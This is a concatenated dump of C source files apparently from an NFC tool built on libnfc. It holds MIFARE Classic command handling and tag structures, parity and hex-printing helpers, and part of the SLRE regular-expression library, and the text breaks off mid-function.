| uint8_t abtCmd[265]; 82 | 83 | abtCmd[0] = mc; // The MIFARE Classic command 84 | abtCmd[1] = ui8Block; // The block address (1K=0x00..0x39, 4K=0x00..0xff) 85 | 86 | switch (mc) { 87 | // Read and store command have no parameter 88 | case MC_READ: 89 | case MC_STORE: 90 | szParamLen = 0; 91 | break; 92 | 93 | // Authenticate command 94 | case MC_AUTH_A: 95 | case MC_AUTH_B: 96 | szParamLen = sizeof(struct mifare_param_auth); 97 | break; 98 | 99 | // Data command 100 | case MC_WRITE: 101 | szParamLen = sizeof(struct mifare_param_data); 102 | break; 103 | 104 | // Value command 105 | case MC_DECREMENT: 106 | case MC_INCREMENT: 107 | case MC_TRANSFER: 108 | szParamLen = sizeof(struct mifare_param_value); 109 | break; 110 | 111 | // Please fix your code, you never should reach this statement 112 | default: 113 | return NFC_EINVARG; 114 | break; 115 | } 116 | 117 | // When available, copy the parameter bytes 118 | if (szParamLen) 119 | memcpy(abtCmd + 2, (uint8_t *) pmp, szParamLen); 120 | 121 | // FIXME: Save and restore bEasyFraming 122 | int res; 123 | if ((res = nfc_device_set_property_bool(pnd, NP_EASY_FRAMING, true)) < 0) { 124 | return res; 125 | } 126 | // Fire the mifare command 127 | if ((res = nfc_initiator_transceive_bytes(pnd, abtCmd, 2 + szParamLen, abtRx, sizeof(abtRx), -1)) < 0) { 128 | return res; 129 | } 130 | 131 | // When we have executed a read command, copy the received bytes into the param 132 | if (mc == MC_READ) { 133 | if (res == 16) { 134 | memcpy(pmp->mpd.abtData, abtRx, 16); 135 | } else { 136 | return NFC_EINVARG; 137 | } 138 | } 139 | // Command succesfully executed 140 | return NFC_SUCCESS; 141 | } 142 | -------------------------------------------------------------------------------- /src/mifare.h: -------------------------------------------------------------------------------- 1 | /*- 2 | * Public platform independent Near Field Communication (NFC) library examples 3 | * 4 | * Copyright (C) 2009 Roel Verdult 5 | * Copyright (C) 2010 Romain Tartière 6 | * Copyright (C) 2010, 2011, 2013 Romuald Conty 7 | * 8 | * Redistribution and use in source and binary forms, with or without 9 | * modification, are permitted provided that the following conditions are met: 10 | * 1) Redistributions of source code must retain the above copyright notice, 11 | * this list of conditions and the following disclaimer. 12 | * 2 )Redistributions in binary form must reproduce the above copyright 13 | * notice, this list of conditions and the following disclaimer in the 14 | * documentation and/or other materials provided with the distribution. 15 | * 16 | * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE 20 | * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 23 | * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 24 | * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 25 | * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | * POSSIBILITY OF SUCH DAMAGE. 27 | * 28 | * Note that this license only applies on the examples, NFC library itself is under LGPL 29 | * 30 | */ 31 | 32 | /** 33 | * @file mifare.h 34 | * @brief provide samples structs and functions to manipulate MIFARE Classic and Ultralight tags using libnfc 35 | */ 36 | 37 | #ifndef _LIBNFC_MIFARE_H_ 38 | #define _LIBNFC_MIFARE_H_ 39 | 40 | #include 41 | 42 | // Compiler directive, set struct alignment to 1 uint8_t for compatibility 43 | #pragma pack(1) 44 | 45 | typedef enum { 46 | MC_AUTH_A = 0x60, 47 | MC_AUTH_B = 0x61, 48 | MC_READ = 0x30, 49 | MC_WRITE = 0xA0, 50 | MC_TRANSFER = 0xB0, 51 | MC_DECREMENT = 0xC0, 52 | MC_INCREMENT = 0xC1, 53 | MC_STORE = 0xC2 54 | } mifare_cmd; 55 | 56 | // MIFARE command params 57 | struct mifare_param_auth { 58 | uint8_t abtKey[6]; 59 | uint8_t abtAuthUid[4]; 60 | }; 61 | 62 | struct mifare_param_data { 63 | uint8_t abtData[16]; 64 | }; 65 | 66 | struct mifare_param_value { 67 | uint8_t abtValue[4]; 68 | }; 69 | 70 | typedef union { 71 | struct mifare_param_auth mpa; 72 | struct mifare_param_data mpd; 73 | struct mifare_param_value mpv; 74 | } mifare_param; 75 | 76 | // Reset struct alignment to default 77 | # pragma pack() 78 | 79 | int nfc_initiator_mifare_cmd(nfc_device *pnd, const mifare_cmd mc, const uint8_t ui8Block, mifare_param *pmp); 80 | 81 | // Compiler directive, set struct alignment to 1 uint8_t for compatibility 82 | # pragma pack(1) 83 | 84 | // MIFARE Classic 85 | typedef struct { 86 | uint8_t abtUID[4]; 87 | uint8_t btBCC; 88 | uint8_t btUnknown; 89 | uint8_t abtATQA[2]; 90 | uint8_t abtUnknown[8]; 91 | } mifare_classic_block_manufacturer; 92 | 93 | typedef struct { 94 | uint8_t abtData[16]; 95 | } mifare_classic_block_data; 96 | 97 | typedef struct { 98 | uint8_t abtKeyA[6]; 99 | uint8_t abtAccessBits[4]; 100 | uint8_t abtKeyB[6]; 101 | } mifare_classic_block_trailer; 102 | 103 | typedef union { 104 | mifare_classic_block_manufacturer mbm; 105 | mifare_classic_block_data mbd; 106 | mifare_classic_block_trailer mbt; 107 | } mifare_classic_block; 108 | 109 | typedef struct { 110 | mifare_classic_block amb[256]; 111 | } mifare_classic_tag; 112 | 113 | // MIFARE Ultralight 114 | typedef struct { 115 | uint8_t sn0[3]; 116 | uint8_t btBCC0; 117 | uint8_t sn1[4]; 118 | uint8_t btBCC1; 119 | uint8_t internal; 120 | uint8_t lock[2]; 121 | uint8_t otp[4]; 122 | } mifareul_block_manufacturer; 123 | 124 | typedef struct { 125 | uint8_t abtData[16]; 126 | } mifareul_block_data; 127 | 128 | typedef union { 129 | mifareul_block_manufacturer mbm; 130 | mifareul_block_data mbd; 131 | } mifareul_block; 132 | 133 | typedef struct { 134 | mifareul_block amb[4]; 135 | } mifareul_tag; 136 | 137 | // Reset struct alignment to default 138 | # pragma pack() 139 | 140 | #endif // _LIBNFC_MIFARE_H_ 141 | -------------------------------------------------------------------------------- /src/nfc-utils.c: -------------------------------------------------------------------------------- 1 | /*- 2 | * Free/Libre Near Field Communication (NFC) library 3 | * 4 | * Libnfc historical contributors: 5 | * Copyright (C) 2009 Roel Verdult 6 | * Copyright (C) 2009-2013 Romuald Conty 7 | * Copyright (C) 2010-2012 Romain Tartière 8 | * Copyright (C) 2010-2013 Philippe Teuwen 9 | * Copyright (C) 2012-2013 Ludovic Rousseau 10 | * Additional contributors of this file: 11 | * 12 | * Redistribution and use in source and binary forms, with or without 13 | * modification, are permitted provided that the following conditions are met: 14 | * 1) Redistributions of source code must retain the above copyright notice, 15 | * this list of conditions and the following disclaimer. 16 | * 2 )Redistributions in binary form must reproduce the above copyright 17 | * notice, this list of conditions and the following disclaimer in the 18 | * documentation and/or other materials provided with the distribution. 19 | * 20 | * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 23 | * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE 24 | * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 25 | * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 26 | * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 27 | * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 28 | * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 29 | * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 30 | * POSSIBILITY OF SUCH DAMAGE. 31 | * 32 | * Note that this license only applies on the examples, NFC library itself is under LGPL 33 | * 34 | */ 35 | /** 36 | * @file nfc-utils.c 37 | * @brief Provide some examples shared functions like print, parity calculation, options parsing. 38 | */ 39 | #include 40 | #include 41 | 42 | #include "nfc-utils.h" 43 | 44 | uint8_t 45 | oddparity(const uint8_t bt) 46 | { 47 | // cf http://graphics.stanford.edu/~seander/bithacks.html#ParityParallel 48 | return (0x9669 >> ((bt ^(bt >> 4)) & 0xF)) & 1; 49 | } 50 | 51 | void 52 | oddparity_bytes_ts(const uint8_t *pbtData, const size_t szLen, uint8_t *pbtPar) 53 | { 54 | size_t szByteNr; 55 | // Calculate the parity bits for the command 56 | for (szByteNr = 0; szByteNr < szLen; szByteNr++) { 57 | pbtPar[szByteNr] = oddparity(pbtData[szByteNr]); 58 | } 59 | } 60 | 61 | void 62 | print_hex(const uint8_t *pbtData, const size_t szBytes) 63 | { 64 | size_t szPos; 65 | 66 | for (szPos = 0; szPos < szBytes; szPos++) { 67 | printf("%02x ", pbtData[szPos]); 68 | } 69 | printf("\n"); 70 | } 71 | 72 | void 73 | print_hex_bits(const uint8_t *pbtData, const size_t szBits) 74 | { 75 | uint8_t uRemainder; 76 | size_t szPos; 77 | size_t szBytes = szBits / 8; 78 | 79 | for (szPos = 0; szPos < szBytes; szPos++) { 80 | printf("%02x ", pbtData[szPos]); 81 | } 82 | 83 | uRemainder = szBits % 8; 84 | // Print the rest bits 85 | if (uRemainder != 0) { 86 | if (uRemainder < 5) 87 | printf("%01x (%d bits)", pbtData[szBytes], uRemainder); 88 | else 89 | printf("%02x (%d bits)", pbtData[szBytes], uRemainder); 90 | } 91 | printf("\n"); 92 | } 93 | 94 | void 95 | print_hex_par(const uint8_t *pbtData, const size_t szBits, const uint8_t *pbtDataPar) 96 | { 97 | uint8_t uRemainder; 98 | size_t szPos; 99 | size_t szBytes = szBits / 8; 100 | 101 | for (szPos = 0; szPos < szBytes; szPos++) { 102 | printf("%02x", pbtData[szPos]); 103 | if (oddparity(pbtData[szPos]) != pbtDataPar[szPos]) { 104 | printf("! "); 105 | } else { 106 | printf(" "); 107 | } 108 | } 109 | 110 | uRemainder = szBits % 8; 111 | // Print the rest bits, these cannot have parity bit 112 | if (uRemainder != 0) { 113 | if (uRemainder < 5) 114 | printf("%01x (%d bits)", pbtData[szBytes], uRemainder); 115 | else 116 | printf("%02x (%d bits)", pbtData[szBytes], uRemainder); 117 | } 118 | printf("\n"); 119 | } 120 | 121 | void 122 | print_nfc_target(const nfc_target *pnt, bool verbose) 123 | { 124 | char *s; 125 | str_nfc_target(&s, pnt, verbose); 126 | printf("%s", s); 127 | nfc_free(s); 128 | } 129 | -------------------------------------------------------------------------------- /src/nfc-utils.h: -------------------------------------------------------------------------------- 1 | /*- 2 | * Free/Libre Near Field Communication (NFC) library 3 | * 4 | * Libnfc historical contributors: 5 | * Copyright (C) 2009 Roel Verdult 6 | * Copyright (C) 2009-2013 Romuald Conty 7 | * Copyright (C) 2010-2012 Romain Tartière 8 | * Copyright (C) 2010-2013 Philippe Teuwen 9 | * Copyright (C) 2012-2013 Ludovic Rousseau 10 | * Additional contributors of this file: 11 | * 12 | * Redistribution and use in source and binary forms, with or without 13 | * modification, are permitted provided that the following conditions are met: 14 | * 1) Redistributions of source code must retain the above copyright notice, 15 | * this list of conditions and the following disclaimer. 16 | * 2 )Redistributions in binary form must reproduce the above copyright 17 | * notice, this list of conditions and the following disclaimer in the 18 | * documentation and/or other materials provided with the distribution. 19 | * 20 | * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 23 | * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE 24 | * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 25 | * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 26 | * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 27 | * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 28 | * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 29 | * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 30 | * POSSIBILITY OF SUCH DAMAGE. 31 | * 32 | * Note that this license only applies on the examples, NFC library itself is under LGPL 33 | * 34 | */ 35 | 36 | /** 37 | * @file nfc-utils.h 38 | * @brief Provide some examples shared functions like print, parity calculation, options parsing. 39 | */ 40 | 41 | #ifndef _EXAMPLES_NFC_UTILS_H_ 42 | # define _EXAMPLES_NFC_UTILS_H_ 43 | 44 | # include 45 | # include 46 | # include 47 | 48 | /** 49 | * @macro DBG 50 | * @brief Print a message of standard output only in DEBUG mode 51 | */ 52 | #ifdef DEBUG 53 | # define DBG(...) do { \ 54 | warnx ("DBG %s:%d", __FILE__, __LINE__); \ 55 | warnx (" " __VA_ARGS__ ); \ 56 | } while (0) 57 | #else 58 | # define DBG(...) {} 59 | #endif 60 | 61 | /** 62 | * @macro WARN 63 | * @brief Print a warn message 64 | */ 65 | #ifdef DEBUG 66 | # define WARN(...) do { \ 67 | warnx ("WARNING %s:%d", __FILE__, __LINE__); \ 68 | warnx (" " __VA_ARGS__ ); \ 69 | } while (0) 70 | #else 71 | # define WARN(...) warnx ("WARNING: " __VA_ARGS__ ) 72 | #endif 73 | 74 | /** 75 | * @macro ERR 76 | * @brief Print a error message 77 | */ 78 | #ifdef DEBUG 79 | # define ERR(...) do { \ 80 | warnx ("ERROR %s:%d", __FILE__, __LINE__); \ 81 | warnx (" " __VA_ARGS__ ); \ 82 | } while (0) 83 | #else 84 | # define ERR(...) warnx ("ERROR: " __VA_ARGS__ ) 85 | #endif 86 | 87 | #ifndef MIN 88 | #define MIN(a,b) (((a) < (b)) ? (a) : (b)) 89 | #endif 90 | #ifndef MAX 91 | #define MAX(a,b) (((a) > (b)) ? (a) : (b)) 92 | #endif 93 | 94 | uint8_t oddparity(const uint8_t bt); 95 | void oddparity_bytes_ts(const uint8_t *pbtData, const size_t szLen, uint8_t *pbtPar); 96 | 97 | void print_hex(const uint8_t *pbtData, const size_t szLen); 98 | void print_hex_bits(const uint8_t *pbtData, const size_t szBits); 99 | void print_hex_par(const uint8_t *pbtData, const size_t szBits, const uint8_t *pbtDataPar); 100 | 101 | void print_nfc_target(const nfc_target *pnt, bool verbose); 102 | 103 | #endif 104 | -------------------------------------------------------------------------------- /src/slre.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2004-2013 Sergey Lyubka 3 | * Copyright (c) 2013 Cesanta Software Limited 4 | * All rights reserved 5 | * 6 | * This library is dual-licensed: you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License version 2 as 8 | * published by the Free Software Foundation. For the terms of this 9 | * license, see . 10 | * 11 | * You are free to use this library under the terms of the GNU General 12 | * Public License, but WITHOUT ANY WARRANTY; without even the implied 13 | * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 14 | * See the GNU General Public License for more details. 15 | * 16 | * Alternatively, you can license this library under a commercial 17 | * license, as set out in . 18 | */ 19 | 20 | #include 21 | #include 22 | #include 23 | 24 | #include "slre.h" 25 | 26 | #define MAX_BRANCHES 100 27 | #define MAX_BRACKETS 100 28 | #define FAIL_IF(condition, error_code) if (condition) return (error_code) 29 | 30 | #ifndef ARRAY_SIZE 31 | #define ARRAY_SIZE(ar) (sizeof(ar) / sizeof((ar)[0])) 32 | #endif 33 | 34 | #ifdef SLRE_DEBUG 35 | # ifndef DBG 36 | # define DBG(x) printf x 37 | # endif 38 | #else 39 | # ifndef DBG 40 | # define DBG(x) 41 | # endif 42 | #endif 43 | 44 | struct bracket_pair { 45 | const char *ptr; /* Points to the first char after '(' in regex */ 46 | int len; /* Length of the text between '(' and ')' */ 47 | int branches; /* Index in the branches array for this pair */ 48 | int num_branches; /* Number of '|' in this bracket pair */ 49 | }; 50 | 51 | struct branch { 52 | int bracket_index; /* index for 'struct bracket_pair brackets' */ 53 | /* array defined below */ 54 | const char *schlong; /* points to the '|' character in the regex */ 55 | }; 56 | 57 | struct regex_info { 58 | /* 59 | * Describes all bracket pairs in the regular expression. 60 | * First entry is always present, and grabs the whole regex. 61 | */ 62 | struct bracket_pair brackets[MAX_BRACKETS]; 63 | int num_brackets; 64 | 65 | /* 66 | * Describes alternations ('|' operators) in the regular expression. 67 | * Each branch falls into a specific branch pair. 68 | */ 69 | struct branch branches[MAX_BRANCHES]; 70 | int num_branches; 71 | 72 | /* Array of captures provided by the user */ 73 | struct slre_cap *caps; 74 | int num_caps; 75 | 76 | /* E.g. SLRE_IGNORE_CASE. See enum below */ 77 | int flags; 78 | }; 79 | 80 | static int is_metacharacter(const unsigned char *s) { 81 | static const char *metacharacters = "^$().[]*+?|\\Ssdbfnrtv"; 82 | return strchr(metacharacters, *s) != NULL; 83 | } 84 | 85 | static int op_len(const char *re) { 86 | return re[0] == '\\' && re[1] == 'x' ? 4 : re[0] == '\\' ? 2 : 1; 87 | } 88 | 89 | static int set_len(const char *re, int re_len) { 90 | int len = 0; 91 | 92 | while (len < re_len && re[len] != ']') { 93 | len += op_len(re + len); 94 | } 95 | 96 | return len <= re_len ? len + 1 : -1; 97 | } 98 | 99 | static int get_op_len(const char *re, int re_len) { 100 | return re[0] == '[' ? set_len(re + 1, re_len - 1) + 1 : op_len(re); 101 | } 102 | 103 | static int is_quantifier(const char *re) { 104 | return re[0] == '*' || re[0] == '+' || re[0] == '?'; 105 | } 106 | 107 | static int toi(int x) { 108 | return isdigit(x) ? x - '0' : x - 'W'; 109 | } 110 | 111 | static int hextoi(const unsigned char *s) { 112 | return (toi(tolower(s[0])) << 4) | toi(tolower(s[1])); 113 | } 114 | 115 | static int match_op(const unsigned char *re, const unsigned char *s, 116 | struct regex_info *info) { 117 | int result = 0; 118 | switch (*re) { 119 | case '\\': 120 | /* Metacharacters */ 121 | switch (re[1]) { 122 | case 'S': FAIL_IF(isspace(*s), SLRE_NO_MATCH); result++; break; 123 | case 's': FAIL_IF(!isspace(*s), SLRE_NO_MATCH); result++; break; 124 | case 'd': FAIL_IF(!isdigit(*s), SLRE_NO_MATCH); result++; break; 125 | case 'b': FAIL_IF(*s != '\b', SLRE_NO_MATCH); result++; break; 126 | case 'f': FAIL_IF(*s != '\f', SLRE_NO_MATCH); result++; break; 127 | case 'n': FAIL_IF(*s != '\n', SLRE_NO_MATCH); result++; break; 128 | case 'r': FAIL_IF(*s != '\r', SLRE_NO_MATCH); result++; break; 129 | case 't': FAIL_IF(*s != '\t', SLRE_NO_MATCH); result++; break; 130 | case 'v': FAIL_IF(*s != '\v', SLRE_NO_MATCH); result++; break; 131 | 132 | case 'x': 133 | /* Match byte, \xHH where HH is hexadecimal byte representaion */ 134 | FAIL_IF(hextoi(re + 2) != *s, SLRE_NO_MATCH); 135 | result++; 136 | break; 137 | 138 | default: 139 | /* Valid metacharacter check is done in bar() */ 140 | FAIL_IF(re[1] != s[0], SLRE_NO_MATCH); 141 | result++; 142 | break; 143 | } 144 | break; 145 | 146 | case '|': FAIL_IF(1, SLRE_INTERNAL_ERROR); break; 147 | case '$': FAIL_IF(1, SLRE_NO_MATCH); break; 148 | case '.': result++; break; 149 | 150 | default: 151 | if (info->flags & SLRE_IGNORE_CASE) { 152 | FAIL_IF(tolower(*re) != tolower(*s), SLRE_NO_MATCH); 153 | } else { 154 | FAIL_IF(*re != *s, SLRE_NO_MATCH); 155 | } 156 | result++; 157 | break; 158 | } 159 | 160 | return result; 161 | } 162 | 163 | static int match_set(const char *re, int re_len, const char *s, 164 | struct regex_info *info) { 165 | int len = 0, result = -1, invert = re[0] == '^'; 166 | 167 | if (invert) re++, re_len--; 168 | 169 | while (len <= re_len && re[len] != ']' && result <= 0) { 170 | /* Support character range */ 171 | if (re[len] != '-' && re[len + 1] == '-' && re[len + 2] != ']' && 172 | re[len + 2] != '\0') { 173 | result = info->flags && SLRE_IGNORE_CASE ? 174 | *s >= re[len] && *s <= re[len + 2] : 175 | tolower(*s) >= tolower(re[len]) && tolower(*s) <= tolower(re[len + 2]); 176 | len += 3; 177 | } else { 178 | result = match_op((unsigned char *) re + len, (unsigned char *) s, info); 179 | len += op_len(re + len); 180 | } 181 | } 182 | return (!invert && result > 0) || (invert && result <= 0) ? 1 : -1; 183 | } 184 | 185 | static int doh(const char *s, int s_len, struct regex_info *info, int bi); 186 | 187 | static int bar(const char *re, int re_len, const char *s, int s_len, 188 | struct regex_info *info, int bi) { 189 | /* i is offset in re, j is offset in s, bi is brackets index */ 190 | int i, j, n, step; 191 | 192 | for (i = j = 0; i < re_len && j <= s_len; i += step) { 193 | 194 | /* Handle quantifiers. Get the length of the chunk. */ 195 | step = re[i] == '(' ? info->brackets[bi + 1].len + 2 : 196 | get_op_len(re + i, re_len - i); 197 | 198 | DBG(("%s [%.*s] [%.*s] re_len=%d step=%d i=%d j=%d\n", __func__, 199 | re_len - i, re + i, s_len - j, s + j, re_len, step, i, j)); 200 | 201 | FAIL_IF(is_quantifier(&re[i]), SLRE_UNEXPECTED_QUANTIFIER); 202 | FAIL_IF(step <= 0, SLRE_INVALID_CHARACTER_SET); 203 | 204 | if (i + step < re_len && is_quantifier(re + i + step)) { 205 | DBG(("QUANTIFIER: [%.*s]%c [%.*s]\n", step, re + i, 206 | re[i + step], s_len - j, s + j)); 207 | if (re[i + step] == '?') { 208 | int result = bar(re + i, step, s + j, s_len - j, info, bi); 209 | j += result > 0 ? result : 0; 210 | i++; 211 | } else if (re[i + step] == '+' || re[i + step] == '*') { 212 | int j2 = j, nj = j, n1, n2 = -1, ni, non_greedy = 0; 213 | 214 | /* Points to the regexp code after the quantifier */ 215 | ni = i + step + 1; 216 | if (ni < re_len && re[ni] == '?') { 217 | non_greedy = 1; 218 | ni++; 219 | } 220 | 221 | do { 222 | if ((n1 = bar(re + i, step, s + j2, s_len - j2, info, bi)) > 0) { 223 | j2 += n1; 224 | } 225 | if (re[i + step] == '+' && n1 < 0) break; 226 | 227 | if (ni >= re_len) { 228 | /* After quantifier, there is nothing */ 229 | nj = j2; 230 | } else if ((n2 = bar(re + ni, re_len - ni, s + j2, 231 | s_len - j2, info, bi)) >= 0) { 232 | /* Regex after quantifier matched */ 233 | nj = j2 + n2; 234 | } 235 | if (nj > j && non_greedy) break; 236 | } while (n1 > 0); 237 | 238 | if (n1 < 0 && re[i + step] == '*' && 239 | (n2 = bar(re + ni, re_len - ni, s + j, s_len - j, info, bi)) > 0) { 240 | nj = j + n2; 241 | } 242 | 243 | DBG(("STAR/PLUS END: %d %d %d %d %d\n", j, nj, re_len - ni, n1, n2)); 244 | FAIL_IF(re[i + step] == '+' && nj == j, SLRE_NO_MATCH); 245 | 246 | /* If while loop body above was not executed for the * quantifier, */ 247 | /* make sure the rest of the regex matches */ 248 | FAIL_IF(nj == j && ni < re_len && n2 < 0, SLRE_NO_MATCH); 249 | 250 | /* Returning here cause we've matched the rest of RE already */ 251 | return nj; 252 | } 253 | continue; 254 | } 255 | 256 | if (re[i] == '[') { 257 | n = match_set(re + i + 1, re_len - (i + 2), s + j, info); 258 | DBG(("SET %.*s [%.*s] -> %d\n", step, re + i, s_len - j, s + j, n)); 259 | FAIL_IF(n <= 0, SLRE_NO_MATCH); 260 | j += n; 261 | } else if (re[i] == '(') { 262 | n = SLRE_NO_MATCH; 263 | bi++; 264 | FAIL_IF(bi >= info->num_brackets, SLRE_INTERNAL_ERROR); 265 | DBG(("CAPTURING [%.*s] [%.*s] [%s]\n", 266 | step, re + i, s_len - j, s + j, re + i + step)); 267 | 268 | if (re_len - (i + step) <= 0) { 269 | /* Nothing follows brackets */ 270 | n = doh(s + j, s_len - j, info, bi); 271 | } else { 272 | int j2; 273 | for (j2 = 0; j2 <= s_len - j; j2++) { 274 | if ((n = doh(s + j, s_len - (j + j2), info, bi)) >= 0 && 275 | bar(re + i + step, re_len - (i + step), 276 | s + j + n, s_len - (j + n), info, bi) >= 0) break; 277 | } 278 | } 279 | 280 | DBG(("CAPTURED [%.*s] [%.*s]:%d\n", step, re + i, s_len - j, s + j, n)); 281 | FAIL_IF(n < 0, n); 282 | if (info->caps != NULL) { 283 | info->caps[bi - 1].ptr = s + j; 284 | info->caps[bi - 1].len = n; 285 | } 286 | j += n; 287 | } else if (re[i] == '^') { 288 | FAIL_IF(j != 0, SLRE_NO_MATCH); 289 | } else if (re[i] == '$') { 290 | FAIL_IF(j != s_len, SLRE_NO_MATCH); 291 | } else { 292 | FAIL_IF(j >= s_len, SLRE_NO_MATCH); 293 | n = match_op((unsigned char *) (re + i), (unsigned char *) (s + j), info); 294 | FAIL_IF(n <= 0, n); 295 | j += n; 296 | } 297 | } 298 | 299 | return j; 300 | } 301 | 302 | /* Process branch points */ 303 | static int doh(const char *s, int s_len, struct regex_info *info, int bi) { 304 | const struct bracket_pair *b = &info->brackets[bi]; 305 | int i = 0, len, result; 306 | const char *p; 307 | 308 | do { 309 | p = i == 0 ? b->ptr : info->branches[b->branches + i - 1].schlong + 1; 310 | len = b->num_branches == 0 ? b->len : 311 | i == b->num_branches ? (int) (b->ptr + b->len - p) : 312 | (int) (info->branches[b->branches + i].schlong - p); 313 | DBG(("%s %d %d [%.*s] [%.*s]\n", __func__, bi, i, len, p, s_len, s)); 314 | result = bar(p, len, s, s_len, info, bi); 315 | DBG(("%s <- %d\n", __func__, result)); 316 | } while (result <= 0 && i++ < b->num_branches); /* At least 1 iteration */ 317 | 318 | return result; 319 | } 320 | 321 | static int baz(const char *s, int s_len, struct regex_info *info) { 322 | int i, result = -1, is_anchored = info->brackets[0].ptr[0] == '^'; 323 | 324 | for (i = 0; i <= s_len; i++) { 325 | result = doh(s + i, s_len - i, info, 0); 326 | if (result >= 0) { 327 | result += i; 328 | break; 329 | } 330 | if (is_anchored) break; 331 | } 332 | 333 | return result; 334 | } 335 | 336 | static void setup_branch_points(struct regex_info *info) { 337 | int i, j; 338 | struct branch tmp; 339 | 340 | /* First, sort branches. Must be stable, no qsort. Use bubble algo. */ 341 | for (i = 0; i < info->num_branches; i++) { 342 | for (j = i + 1; j < info->num_branches; j++) { 343 | if (info->branches[i].bracket_index > info->branches[j].bracket_index) { 344 | tmp = info->branches[i]; 345 | info->branches[i] = info->branches[j]; 346 | info->branches[j] = tmp; 347 | } 348 | } 349 | } 350 | 351 | /* 352 | * For each bracket, set their branch points. This way, for every bracket 353 | * (i.e. every chunk of regex) we know all branch points before matching. 354 | */ 355 | for (i = j = 0; i < info->num_brackets; i++) { 356 | info->brackets[i].num_branches = 0; 357 | info->brackets[i].branches = j; 358 | while (j < info->num_branches && info->branches[j].bracket_index == i) { 359 | info->brackets[i].num_branches++; 360 | j++; 361 | } 362 | } 363 | } 364 | 365 | static int foo(const char *re, int re_len, const char *s, int s_len, 366 | struct regex_info *info) { 367 | int i, step, depth = 0; 368 | 369 | /* First bracket captures everything */ 370 | info->brackets[0].ptr = re; 371 | info->brackets[0].len = re_len; 372 | info->num_brackets = 1; 373 | 374 | /* Make a single pass over regex string, memorize brackets and branches */ 375 | for (i = 0; i < re_len; i += step) { 376 | step = get_op_len(re + i, re_len - i); 377 | 378 | if (re[i] == '|') { 379 | FAIL_IF(info->num_branches >= (int) ARRAY_SIZE(info->branches), 380 | SLRE_TOO_MANY_BRANCHES); 381 | info->branches[info->num_branches].bracket_index = 382 | info->brackets[info->num_brackets - 1].len == -1 ? 383 | info->num_brackets - 1 : depth; 384 | info->branches[info->num_branches].schlong = &re[i]; 385 | info->num_branches++; 386 | } else if (re[i] == '\\') { 387 | FAIL_IF(i >= re_len - 1, SLRE_INVALID_METACHARACTER); 388 | if (re[i + 1] == 'x') { 389 | /* Hex digit specification must follow */ 390 | FAIL_IF(re[i + 1] == 'x' && i >= re_len - 3, 391 | SLRE_INVALID_METACHARACTER); 392 | FAIL_IF(re[i + 1] == 'x' && !(isxdigit(re[i + 2]) && 393 | isxdigit(re[i + 3])), SLRE_INVALID_METACHARACTER); 394 | } else { 395 | FAIL_IF(!is_metacharacter((unsigned char *) re + i + 1), 396 | SLRE_INVALID_METACHARACTER); 397 | } 398 | } else if (re[i] == '(') { 399 | FAIL_IF(info->num_brackets >= (int) ARRAY_SIZE(info->brackets), 400 | SLRE_TOO_MANY_BRACKETS); 401 | depth++; /* Order is important here. Depth increments first. */ 402 | info->brackets[info->num_brackets].ptr = re + i + 1; 403 | info->brackets[info->num_brackets].len = -1; 404 | info->num_brackets++; 405 | FAIL_IF(info->num_caps > 0 && info->num_brackets - 1 > info->num_caps, 406 | SLRE_CAPS_ARRAY_TOO_SMALL); 407 | } else if (re[i] == ')') { 408 | int ind = info->brackets[info->num_brackets - 1].len == -1 ? 409 | info->num_brackets - 1 : depth; 410 | info->brackets[ind].len = (int) (&re[i] - 